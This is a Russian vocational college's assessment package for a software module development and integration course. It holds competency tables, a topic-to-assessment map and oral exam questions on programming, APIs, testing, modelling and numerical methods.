



**ПРОФЕССИОНАЛЬНАЯ ОБРАЗОВАТЕЛЬНАЯ
АВТОНОМНАЯ НЕКОММЕРЧЕСКАЯ ОРГАНИЗАЦИЯ
КИЗИЛОРТОВСКИЙ МНОГОПРОФИЛЬНЫЙ КОЛЛЕДЖ**

Российская Федерация
Республика Дагестан,
368118, г. Кизилорт,
ул. Вишневого, 170.

Тел.: +7(989) 476-00-15
E- mail: omar.g4san@yandex.ru

ОДОБРЕНО
на педагогическом совете № 4
от «16» февраля 2026г.

УТВЕРЖДЕНО
директор ПОАНО «КМК» г. Кизилорт
О.М.Гасанов
Приказ № _____
от «16» февраля 2026г.



**ОЦЕНОЧНЫЕ МАТЕРИАЛЫ
(фонд оценочных средств)**

**для проведения текущего контроля успеваемости, промежуточной
аттестации обучающихся по учебной дисциплине**

**ПМ.02 РАЗРАБОТКА И ИНТЕГРАЦИЯ МОДУЛЕЙ ПРОГРАММНОГО
ОБЕСПЕЧЕНИЯ**

по специальности 09.02. 11 «Разработка и управление программным
обеспечением»

по программе базовой подготовки
на базе основного общего образования;
форма обучения – очная, очно – заочная, заочная
Квалификация выпускника – программист

Кизилорт 2026



**ПРОФЕССИОНАЛЬНАЯ ОБРАЗОВАТЕЛЬНАЯ
АВТОНОМНАЯ НЕКОММЕРЧЕСКАЯ ОРГАНИЗАЦИЯ
КИЗИЛОРТОВСКИЙ МНОГОПРОФИЛЬНЫЙ КОЛЛЕДЖ**

Российская Федерация
Республика Дагестан,
368118, г. Кизилорт,
ул. Вишневого, 170.

Тел.: +7(989) 476-00-15
E-mail: omar.g4san@yandex.ru

ОДОБРЕНО
на педагогическом совете № 4
от «16» февраля 2026г.

УТВЕРЖДЕНО
директор ПОАНО «КМК» г. Кизилорт
О.М.Гасанов _____
Приказ № _____
от «16» февраля 2026г.

ОЦЕНОЧНЫЕ МАТЕРИАЛЫ
(фонд оценочных средств)
для проведения текущего контроля успеваемости, промежуточной
аттестации обучающихся по учебной дисциплине

**ПМ.02 РАЗРАБОТКА И ИНТЕГРАЦИЯ МОДУЛЕЙ ПРОГРАММНОГО
ОБЕСПЕЧЕНИЯ**

по специальности 09.02. 11 «Разработка и управление программным
обеспечением»

по программе базовой подготовки
на базе основного общего образования;
форма обучения – очная, очно – заочная, заочная
Квалификация выпускника – программист

Содержание

1. Пояснительная записка.....
2. Перечень компетенций с указанием этапов их формирования в процессе освоения основной образовательной программы.....
3. Описание перечня оценочных средств и критериев оценивания компетенций на различных этапах их формирования.....
4. Оценочные средства характеризующих этапы формирования компетенций при изучении учебной дисциплины.....
5. Критерии и шкала оценивания компетенций на различных этапах их формирования.....
6. Описание процедуры оценивания знаний и умений, характеризующих этапы формирования компетенций.....

1. Пояснительная записка

Оценочные материалы разработаны в форме фонда оценочных средств в соответствии с пунктом 9 статьи 2 Федерального закона от 29.12.2012 г. №273-ФЗ «Об образовании в Российской Федерации» и раздела II Методика расчета и применения аккредитационных показателей по образовательным программам среднего профессионального образования Приказа Министерства просвещения России от 14.04.2023 №272 «Об утверждении аккредитационных показателей, методики расчета и применении аккредитационных показателей по образовательным программам среднего профессионального образования» и пункта 7 Приказа Министерства Просвещения Российской Федерации от 24.08.2022 №762 «Об утверждении порядка организации и осуществления образовательной деятельности по образовательным программам среднего профессионального образования».

Фонд оценочных средств (далее – ФОС) предназначены для оценки уровня освоения компетенций на различных этапах их формирования при изучении учебной дисциплины ПМ.02 Разработка и интеграция модулей программного обеспечения.

Общие компетенции:

Код компетенции	Формулировка компетенции	Знания, умения
ОК 01	Выбирать способы решения задач профессиональной деятельности, применительно к различным контекстам	Умения: выявлять и эффективно искать информацию, необходимую для решения задачи и/или проблемы Знания: структура плана для решения задач, алгоритмы выполнения работ в профессиональной и смежных областях
ОК 02	Использовать современные средства поиска, анализа и интерпретации информации и информационные технологии для выполнения задач профессиональной деятельности;	Умения: определять задачи для поиска информации; определять необходимые источники информации; планировать процесс поиска; структурировать получаемую информацию; выделять наиболее значимое в перечне информации; оценивать практическую значимость результатов поиска; оформлять результаты поиска Знания: номенклатура информационных источников, применяемых в профессиональной деятельности; приемы структурирования информации; формат оформления результатов поиска информации
ОК 03	Планировать и реализовывать собственное профессиональное и личностное развитие, предпринимательскую деятельность в профессиональной сфере, использовать знания по правовой и финансовой грамотности в различных жизненных ситуациях;	Умения: определять актуальность нормативно-правовой документации в профессиональной деятельности Знания: возможные траектории профессионального развития и самообразования

ОК 04	Эффективно взаимодействовать и работать в коллективе и команде;	Умения: организовывать работу коллектива и команды
		Знания: организовывать работу коллектива и команды
ОК 05	Осуществлять устную и письменную коммуникацию на государственном языке Российской Федерации с учетом особенностей социального и культурного контекста.	Умения: грамотно излагать свои мысли и оформлять документы по профессиональной тематике на государственном языке, проявлять толерантность в рабочем коллективе
		Знания: особенности социального и культурного контекста; правила оформления документов и построения устных сообщений.
ОК 06	Проявлять гражданско-патриотическую позицию, демонстрировать осознанное поведение на основе традиционных российских духовно-нравственных ценностей, в том числе с учетом гармонизации межнациональных и межрелигиозных отношений, применять стандарты антикоррупционного поведения;	Умения: демонстрировать осознанное поведение
		Знания: значимость профессиональной деятельности по специальности
ОК 07	Содействовать сохранению окружающей среды, ресурсосбережению, применять знания об изменении климата, принципы бережливого производства, эффективно действовать в чрезвычайных ситуациях;	Умения: определять направления ресурсосбережения в рамках профессиональной деятельности по специальности
		Знания: определять направления ресурсосбережения в рамках профессиональной деятельности по специальности
ОК 08	Использовать средства физической культуры для сохранения и укрепления здоровья в процессе профессиональной деятельности и поддержания необходимого уровня физической подготовленности;	Умения: использовать физкультурно-оздоровительную деятельность для укрепления здоровья, достижения жизненных и профессиональных целей
		Знания: средства профилактики перенапряжения
ОК 09	Пользоваться профессиональной документацией на государственном и иностранном языках.	Умения: понимать общий смысл четко произнесенных высказываний на известные темы (профессиональные и бытовые), понимать тексты на базовые профессиональные темы; участвовать в диалогах на знакомые общие и профессиональные темы; строить простые высказывания о себе и о своей профессиональной деятельности; кратко обосновывать и объяснить свои действия (текущие и планируемые); писать простые связные сообщения на знакомые или интересующие профессиональные темы

		Знания: правила построения простых и сложных предложений на профессиональные темы; основные общеупотребительные глаголы (бытовая и профессиональная лексика); лексический минимум, относящийся к описанию предметов, средств и процессов профессиональной деятельности; особенности произношения; правила чтения текстов профессиональной направленности
--	--	---

Профессиональные компетенции:

Основные виды деятельности	Код и формулировка компетенции	Показатели освоения компетенции
Разработка, администрирование и защита баз данных	ПК 2.1. Проектировать модули программного обеспечения.	<p>Практический опыт: проектирования модулей ПО с учетом требований заказчика;</p> <ul style="list-style-type: none"> – создания архитектурных диаграмм и спецификаций модулей; определения интерфейсов и взаимодействия модулей в системе.
		<p>Умения: проектировать модули, соответствующие бизнес-задачам;</p> <ul style="list-style-type: none"> – создавать архитектурные диаграммы и документацию; – определять структуру и интерфейсы модулей; – анализировать требования к модулю и определять его функциональность; – проектировать архитектуру модуля, включая выбор подходящих паттернов проектирования и структуры данных; – создавать диаграммы классов, последовательностей и прочих диаграмм для визуализации проектируемого модуля; – выбирать подходящие языки программирования и технологии для реализации модуля; – проектировать интерфейсы программного обеспечения для взаимодействия с другими модулями и системами; – учитывать требования к масштабируемости, производительности и безопасности при проектировании модуля; <p>проводить анализ и оптимизацию проектируемого модуля для повышения его эффективности и качества</p>

		<p>Знания: основные принципы проектирования модулей программного обеспечения;</p> <ul style="list-style-type: none"> – языки программирования и технологии для реализации модулей; – паттерны проектирования и структуры данных для создания эффективных и масштабируемых модулей; – методы анализа требований и способов определения функциональности модуля; – принципы создания интерфейсов для взаимодействия с другими модулями и системами; – принципы обеспечения безопасности, производительности и масштабируемости при проектировании модулей; <p>методы анализа и оптимизации проектируемых модулей для повышения их эффективности и качества.</p>
	<p>ПК 2.2. Разрабатывать модули программного обеспечения</p>	<p>Практический опыт: – создания модулей программного обеспечения на различных языках программирования;</p> <ul style="list-style-type: none"> – отладки и тестирования разработанных модулей; – применения структурного и объектно-ориентированного программирования; – оптимизации кода и алгоритмов программных модулей для увеличения производительности; <p>мониторинга и анализа производительности приложений.</p> <p>Умения: разрабатывать модули программного обеспечения с использованием различных языков программирования и технологий;</p> <p>применять паттерны проектирования и структуры данных для создания эффективных и масштабируемых модулей;</p> <p>анализировать требования и определять функциональность модуля;</p> <p>создавать интерфейсы для взаимодействия с другими модулями и системами;</p> <p>обеспечивать безопасность, производительность и масштабируемость при разработке модулей;</p> <p>оптимизировать проектируемые модули для повышения их эффективно-</p>

		<p>сти и качества; работать с системой контроля версий; улучшать производительность модулей, выявляя и устраняя узкие места; проводить анализ и мониторинг производительности приложений; применять инструменты для рефакторинга и оптимизации программного кода.</p>
		<p>Знания: язык программирования, основные конструкции, синтаксис; – паттерны проектирования; – структуры данных; – принципы создания интерфейсов для взаимодействия с другими модулями и системами, таких как REST API, SOAP; – работу с инструментальным программным обеспечением; – методы оптимизации кода и алгоритмов; – эффективные алгоритмы и структуры данных для повышения производительности; – многопоточность в программных модулях; – методы оптимизации сетевых протоколов для ускорения обмена данными; – кэширование данных; – управление памятью; техники повышения производительности программного обеспечения</p>
	<p>ПК 2.3. Выполнять интеграцию модулей и компонентов программного обеспечения.</p>	<p>Практический опыт: – интеграции программных модулей и компонентов в единое программное решение; – работы с API и веб-сервисами для взаимодействия между модулями; – работы с интеграционными платформами и инструментами; обеспечения совместимости и стабильности системы</p> <p>Умения: интегрировать модули и компоненты, обеспечивая их взаимодействие; – работать с API и устанавливать соединения между компонентами; – отслеживать и устранять конфликты и ошибки интеграции; – анализировать и определять зависимости между модулями и компонентами;</p>

		<p>работать с различными форматами данных и протоколами передачи данных</p> <p>Знания: общие принципы функционирования аппаратных, программных и программно-аппаратных средств администрируемой информационно-коммуникационной системы;</p> <ul style="list-style-type: none"> – международные стандарты локальных вычислительных сетей; – методы и подходы к интеграции модулей и компонентов; – принципы версионирования и управления изменениями при интеграции; – принципы безопасности при интеграции модулей и компонентов
	<p>ПК 2.4. Выполнять тестирование и отладку программного обеспечения.</p>	<p>Практический опыт:</p> <ul style="list-style-type: none"> – отладки программного обеспечения на уровне программных модулей; – тестирования программного обеспечения; – формирования тестовых сценариев; – подготовки тестовых платформ (установка операционной системы, дополнительного ПО и другого по необходимости); – оценки объема тестирования ПО с целью определения необходимых ресурсов для его выполнения; – настройки тестовой среды и аппаратных средств для выполнения тестирования ПО в соответствии с заданием на тестирование в пределах своей компетенции; – формирования и представления отчетности о подготовке к выполнению задания на тестирование ПО в соответствии с установленными регламентами; <p>выполнения тестовых процедур на тестовых данных</p> <p>Умения: анализировать требования к программному обеспечению и составлять планы тестирования;</p> <ul style="list-style-type: none"> – создавать тестовые сценарии и тест-кейсы для проверки функциональности и соответствия требованиям; – выполнять тестирование программного обеспечения вручную и автоматизировать процесс тестирования;

		<ul style="list-style-type: none"> – анализировать результаты тестирования и документировать найденные ошибки; – разрабатывать стратегии отладки и исправлять ошибки в программном обеспечении; – выполнять модульные тесты с использованием инструментов тестирования, в том числе автоматизированного тестирования; – использовать системы контроля дефектов ПО; <p>составлять отчет о выполнении тестирования ПО</p> <p>Знания: принципы и методы тестирования программного обеспечения;</p> <ul style="list-style-type: none"> – основы программирования и архитектуры программного обеспечения; – основы баз данных и SQL-запросов; – инструменты для автоматизации тестирования; – основы разработки и отладки программного обеспечения на разных языках программирования; – понятие дефекта программного обеспечения; – критерии качества ПО; – виды и типы тестирования ПО; – техники ручного тестирования; – техники автоматизированного тестирования; – жизненный цикл дефекта ПО; – принципы работы в системе контроля дефектов; <p>основные понятия о качестве ПО</p>
	<p>ПК 2.5. Осуществлять документирование программных модулей программного обеспечения.</p>	<p>Практический опыт: создания технической документации для модулей;</p> <ul style="list-style-type: none"> – документирования кода, API и интерфейсов; <p>работы со специализированным ПО по документированию программного кода</p> <p>Умения: описывать функциональность модулей в документации;</p> <ul style="list-style-type: none"> – создавать диаграммы для иллюстрации работы модулей; – программировать с использованием комментариев для документирования кода; – использовать специальные метки/теги для отметки важных частей кода в документации;

		<ul style="list-style-type: none"> – вести журнал изменений и фиксировать обновления программных модулей; – разбивать модули на логические блоки и описывать каждый блок отдельно; – включать в документацию особенности модулей, такие как ограничения, уязвимости или оптимальные настройки; <p>проводить регулярное обновление документации при изменении модулей или добавлении нового функционала.</p> <ul style="list-style-type: none"> – Знания: стандарты технической документации; – принципы документирования программного обеспечения; <p>инструменты для создания технической документации и комментирования кода</p>
--	--	--

2. Перечень компетенций с указанием этапов их формирования в процессе освоения основной образовательной программы

№	Контролируемые разделы, темы, модули	Код контролируемой компетенции	Наименование оценочного средства
МДК.02.01 Разработка программных модулей			
1	Тема 1. Использование принципов объектно-ориентированного программирования при разработке программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
2	Тема 2. Ключевые алгоритмы и структуры данных для выполнения задач программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
3	Тема 3. Проектирование модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
4	Тема 4. Создание программных модулей для взаимодействия с пользователем	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
5	Тема 5. Создание модулей для взаимодействия с базами данных	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи

6	Тема 6. Принципы безопасности, производительности и масштабируемости программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.02 Осуществление интеграции программных модулей			
7	Тема 1. Основы интеграции программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
8	Тема 2. Управление и мониторинг интегрированной системы	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
9	Тема 3. Безопасность при интеграции	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
10	Тема 4. Оптимизация и масштабируемость интегрированных решений	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
Курсовая работа (проект)			
МДК.02.03 Поддержка и тестирование программных модулей			
11	Тема 1. Качество программного обеспечения	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
12	Тема 2. Отладка программного модуля	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
13	Тема 3. Обработка исключений	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
14	Тема 4. Тестирование программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
15	Тема 5. Поддержка программных модулей	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.04 Математическое моделирование			
16	Тема 1. Математическое моделирование как методология решения практических задач	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи

17	Тема 2. Линейное программирование	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
18	Тема 3. Нелинейное программирование	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
19	Тема 4. Динамическое программирование	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
20	Тема 5. Сетевые методы планирования и управления	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
21	Тема 6. Системы массового обслуживания	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
22	Тема 7. Теория игр	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
23	Тема 8. Имитационное моделирование	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.05 Численные методы			
24	Тема 1. Приближенные числа и действия над ними	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
25	Тема 2. Численные методы решения алгебраических и трансцендентных уравнений	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
26	Тема 3. Численные методы решение систем линейных алгебраических уравнений	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
27	Тема 4. Интерполяция и экстраполяция функций	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
28	Тема 5. Численное интегрирование	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи

29	Тема 6. Численные методы решения обыкновенных дифференциальных уравнений	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
30	Тема 7. Численное решение задач оптимизации	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.06 Безопасность программного обеспечения			
31	Тема 1. Основы безопасности программного обеспечения	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
32	Тема 2. Разработка безопасного ПО и прикладная криптография	ОК.01 – ОК.09, ПК 2.2, ПК 2.3, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.07 Технология разработки программного обеспечения			
33	Тема 1. Основные понятия и стандартизация требований к программному обеспечению	ПК 2.1, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
34	Тема 2. Описание и анализ требований. Диаграммы IDEF	ПК 2.1, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
35	Тема 3. Оценка качества программных средств	ПК 2.1, ПК 2.4, ПК 2.5	тест, реферат, устный опрос, практические задачи
МДК.02.08 Обеспечение качества функционирования компьютерных систем			
36	Тема 1. Многоуровневая модель качества программного обеспечения	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи
37	Тема 2. Объекты уязвимости, дестабилизирующие факторы и угрозы надежности	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи
38	Тема 3. Оперативные методы повышения надежности: временная, информационная, программная избыточность	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи
39	Тема 4. Антивирусные программы: классификация, сравнительный анализ	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи
40	Тема 5. Тестирование защиты программного обеспечения	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи

41	Тема 6. Шифрование информации (средства и протоколы шифрования сообщений).	ПК 4.1, ПК4.2, ПК 4.4	тест, реферат, устный опрос, практические задачи
----	--	-----------------------------	--

3.Описание перечня оценочных средств и критериев оценивания компетенций на различных этапах их формирования

№ п/п	Наименование оценочного средства	Характеристика оценочного средства	Представление оценочного средства в фонде
1	Реферат	Продукт самостоятельной работы студента, представляющий собой краткое изложение в письменном виде полученных результатов теоретического анализа определенной научной (учебно-исследовательской) темы, где автор раскрывает суть исследуемой проблемы, приводит различные точки зрения, а также собственные взгляды на нее.	Темы рефератов
2	Доклад, сообщение	Продукт самостоятельной работы студента, представляющий собой публичное выступление по представлению полученных результатов решения определенной учебно-практической, учебно-исследовательской или научной темы	Темы докладов, сообщений
3	Собеседование	Средство контроля, организованное как специальная беседа преподавателя с обучающимся на темы, связанные с изучаемой дисциплиной, и рассчитанное на выяснение объема знаний обучающегося по определенному разделу, теме, проблеме и т.п.	Вопросы по темам/разделам дисциплины
4	Тестирование	Система стандартизированных заданий, позволяющая автоматизировать процедуру измерения уровня знаний и умений обучающегося.	Фонд тестовых заданий
5	4 Разноуровневые задачи и задания	Различают задачи: а) ознакомительного, позволяющие оценивать и диагностировать знание фактического материала (базовые понятия, алгоритмы, факты) и умение правильно использовать специальные термины и понятия, узнавание объектов изучения в рамках определенного раздела дисциплины; б) репродуктивного уровня, позволяющие оценивать и диагностировать умения синтезировать, анализировать, обобщать фактический и теоретический материал с формулированием конкретных выводов, установлением причинно-следственных связей; в) продуктивного уровня, позволяющие	Комплект разноуровневых задач и заданий

		оценивать и диагностировать умения, интегрировать знания различных областей, аргументировать собственную точку зрения, выполнять проблемные задания.	
--	--	--	--

4. Оценочные средства, характеризующие этапы освоения компетенций при изучении профессионального модуля

Вопросы для устного опроса МДК.02.01 Разработка программных модулей

1. Что такое модульная архитектура программного обеспечения, и какие преимущества она дает при разработке приложений
2. Какие архитектурные шаблоны (MVC, MVVM, MVP) вы знаете? В чем заключается принцип их работы
3. Что такое система контроля версий, и для каких целей она используется при разработке программных модулей
4. Какие принципы объектно-ориентированного программирования (ООП) вы знаете? Раскройте суть каждого из них
5. Объясните различия между наследованием, композицией и агрегацией на примере отношений между классами
6. Что такое паттерны проектирования? Назовите основные категории паттернов и приведите примеры
7. Какие структуры данных (массивы, списки, стеки, очереди) вы знаете? В каких случаях предпочтительно использовать каждую из них
8. Что такое асимптотическая оценка сложности алгоритмов? Объясните значение Big O-нотации
9. Чем отличаются алгоритмы сортировки «пузырьком» и «быстрая сортировка»? В чем преимущества и недостатки каждого
10. Объясните принцип работы хеш-таблицы. Что такое коллизии и как они разрешаются
11. Что такое рекурсия? Приведите примеры задач, которые удобно решать с помощью рекурсии, и укажите ее недостатки
12. Какие алгоритмы поиска подстроки в тексте вы знаете? В чем разница между наивным алгоритмом и алгоритмом Кнута-Морриса-Пратта
13. Объясните принцип работы алгоритма Дейкстры для поиска кратчайшего пути в графе
14. Что такое динамическое программирование? На примере задачи о рюкзаке поясните основную идею этого метода
15. Какие методы обеспечения безопасности, производительности и масштабируемости необходимо учитывать при проектировании программных модулей
16. Объясните разницу между горизонтальным и вертикальным масштабированием. В каких случаях применяется каждый подход
17. Какие инструменты используются для мониторинга производительности и профилирования приложений
18. Что такое ORM (Object-Relational Mapping)? Какие преимущества дает использование ORM-библиотек при работе с базами данных
19. Какие основные операции входят в понятие CRUD? Как они реализуются в приложении при работе с базой данных
20. Объясните разницу между синхронным и асинхронным программированием. В каких случаях асинхронный подход предпочтительнее
21. Что такое многопоточность? Какие проблемы синхронизации потоков могут возникать в многопоточных приложениях
22. Какие виды пользовательского интерфейса (командная строка, графический, речевой) вы знаете? В чем особенности разработки каждого из них

23. Какие основные этапы и принципы разработки графического пользовательского интерфейса (GUI) вы можете назвать
24. Объясните назначение и принцип работы регулярных выражений. Приведите примеры их использования для валидации данных
25. Что такое событийно-ориентированное программирование? Как обрабатываются события в графических приложениях
26. Какие структуры данных наиболее эффективны для реализации очереди с приоритетом? Объясните принцип работы кучи
27. Что такое рефакторинг кода? Какие инструменты и подходы используются для рефакторинга и оптимизации программных модулей
28. Какие методы и подходы используются для тестирования производительности и нагрузочного тестирования программных модулей
29. Объясните, какую роль играет документирование кода (комментарии, создание технической документации) в процессе разработки программных модулей
30. Какие форматы данных и протоколы передачи данных чаще всего используются для взаимодействия между программными модулями и системами

МДК.02.02 Осуществление интеграции программных модулей

1. Что понимается под интеграцией программных модулей и какие задачи она решает
2. Какие существуют уровни интеграции программных модулей (низкий, средний, высокий)
3. Объясните разницу между интеграцией на уровне кода, на уровне приложений и на уровне систем
4. Что такое API и какую роль оно играет в интеграции программных модулей
5. Какие типы API вы знаете (REST, SOAP, GraphQL)? В чем их особенности и отличия
6. Что такое REST API и какие принципы лежат в его основе (клиент-сервер, отсутствие состояния, кэширование и др.)
7. Что такое SOAP и в каких случаях его использование предпочтительнее REST
8. Какие форматы данных чаще всего используются при интеграции модулей? Чем JSON отличается от XML
9. Что такое веб-сервис и как он обеспечивает взаимодействие между модулями
10. Объясните принцип работы протоколов HTTP/HTTPS при интеграции модулей
11. Какие методы HTTP используются для взаимодействия с API? Для каких операций предназначен каждый метод
12. Что такое middleware и какую функцию он выполняет при интеграции программных модулей
13. Какие подходы к интеграции модулей вы знаете (точка-точка, шина данных, микросервисная архитектура)
14. Что такое сервисная шина предприятия и какие задачи она решает при интеграции
15. Объясните разницу между синхронной и асинхронной интеграцией. В каких случаях применяется каждый подход
16. Что такое очереди сообщений и для каких целей они используются при интеграции модулей
17. Назовите популярные брокеры сообщений (RabbitMQ, Apache Kafka) и объясните их назначение
18. Что такое ETL-процессы и как они применяются при интеграции информационных систем
19. Какие проблемы могут возникнуть при интеграции модулей, разработанных на разных языках программирования
20. Что такое стандарты обмена данными (например, JSON Schema, XML Schema) и для чего они нужны
21. Какие методы аутентификации и авторизации используются при интеграции модулей через API

22. Что такое OAuth 2.0 и как он обеспечивает безопасность при интеграции
23. Объясните принцип работы JWT-токенов при авторизации запросов между модулями
24. Какие существуют подходы к версионированию API и почему это важно при интеграции
25. Что такое контрактное тестирование и как оно помогает при интеграции модулей
26. Какие инструменты используются для тестирования интеграции (Postman, SoapUI, Swagger)
27. Что такое CI/CD и как конвейеры непрерывной интеграции помогают в интеграции программных модулей
28. Объясните принцип работы Docker при интеграции модулей. Что такое контейнеризация и зачем она нужна
29. Что такое оркестрация контейнеров (Kubernetes) и как она упрощает управление интегрированными модулями
30. Какие проблемы совместимости могут возникать при интеграции модулей разных версий и как их решать
31. Что такое миграция данных и какие этапы она включает при интеграции систем
32. Какие существуют стратегии миграции данных (big bang, постепенная) и в чем их преимущества
33. Что такое событийно-ориентированная архитектура и как она применяется при интеграции модулей
34. Объясните разницу между интеграцией на основе файлового обмена и интеграцией на основе прямого вызова API
35. Какие форматы файлов чаще всего используются для обмена данными между модулями (CSV, JSON, XML)
36. Что такое WebSocket и для каких сценариев интеграции он подходит
37. Какие существуют подходы к обработке ошибок при интеграции модулей (retry, circuit breaker)
38. Что такое логирование и мониторинг в контексте интеграции и зачем они нужны
39. Какие инструменты для мониторинга интеграционных потоков вы знаете
40. Какие требования к безопасности необходимо учитывать при проектировании интеграционного решения

МДК.02.03 Поддержка и тестирование программных модулей

1. Что такое тестирование программного обеспечения и какова его основная цель
2. Какие виды тестирования программных модулей вы знаете (по уровню, по знанию системы, по автоматизации)
3. Чем отличается функциональное тестирование от нефункционального
4. Что такое модульное тестирование и на каком этапе разработки оно проводится
5. Объясните разницу между интеграционным тестированием и системным тестированием
6. Что такое тест-кейс и из каких элементов он состоит
7. Какие техники разработки тест-кейсов (эквивалентное разбиение, анализ граничных значений) вы знаете
8. Что такое автоматизированное тестирование и в каких случаях его применение целесообразно
9. Назовите популярные инструменты для автоматизации тестирования (JUnit, Selenium, pytest) и их назначение
10. Что такое жизненный цикл дефекта (бага) и какие статусы он проходит
11. Что такое отладка программного кода и чем она отличается от тестирования
12. Какие инструменты для отладки программного кода вы знаете
13. Что такое регрессионное тестирование и для чего оно необходимо после внесения изменений в код
14. Что такое нагрузочное тестирование и какие показатели производительности оно оце-

нивает

15. Какие виды документации оформляются по результатам тестирования программных модулей

МДК.02.04 Математическое моделирование

1. Что такое математическое моделирование и для каких целей оно применяется в разработке программного обеспечения
2. Какие основные этапы построения математической модели вы знаете
3. Чем отличаются детерминированные модели от стохастических? Приведите примеры
4. Что такое вычислительный эксперимент и какова его роль в математическом моделировании
5. Какие типы математических моделей существуют (аналитические, имитационные, дискретные, непрерывные)
6. Что такое имитационное моделирование и в каких случаях его применение предпочтительнее аналитического
7. Какие инструменты и среды для имитационного моделирования вы знаете
8. Что такое система массового обслуживания и как она описывается с помощью математических моделей
9. Какие основные характеристики системы массового обслуживания (интенсивность потока, время обслуживания, загрузка) вы знаете
10. Что такое метод Монте-Карло и для решения каких задач он применяется
11. Как оценивается точность результатов, полученных с помощью математического моделирования
12. Что такое верификация и валидация модели? В чем разница между этими понятиями
13. Какие математические модели используются для прогнозирования поведения сложных систем
14. Что такое оптимизационные задачи и как математическое моделирование помогает их решать
15. Приведите примеры практического применения математического моделирования в разработке программных модулей

МДК.02.05 Численные методы

1. Что такое численные методы и для решения каких задач они применяются в разработке программного обеспечения
2. В чем отличие численных методов от аналитических методов решения задач
3. Что такое погрешность численного метода и каковы основные виды погрешностей (абсолютная, относительная, погрешность округления)
4. Что такое метод половинного деления (дихотомии) и для решения каких уравнений он применяется
5. Каковы преимущества и недостатки метода половинного деления по сравнению с другими методами решения нелинейных уравнений
6. Объясните принцип работы метода простой итерации для решения уравнений
7. Что такое метод Ньютона (касательных) и в чем заключается его основная идея
8. Какие методы численного интегрирования вы знаете (метод прямоугольников, трапеций, Симпсона)
9. В чем отличие метода прямоугольников от метода трапеций с точки зрения точности вычислений
10. Что такое метод Эйлера и для решения каких задач он используется
11. Объясните разницу между явным и неявным методами Эйлера
12. Какие методы численного решения систем линейных алгебраических уравнений вы знаете (метод Гаусса, метод простой итерации)
13. Что такое интерполяция и для каких целей она применяется

14. В чем разница между интерполяцией и аппроксимацией данных
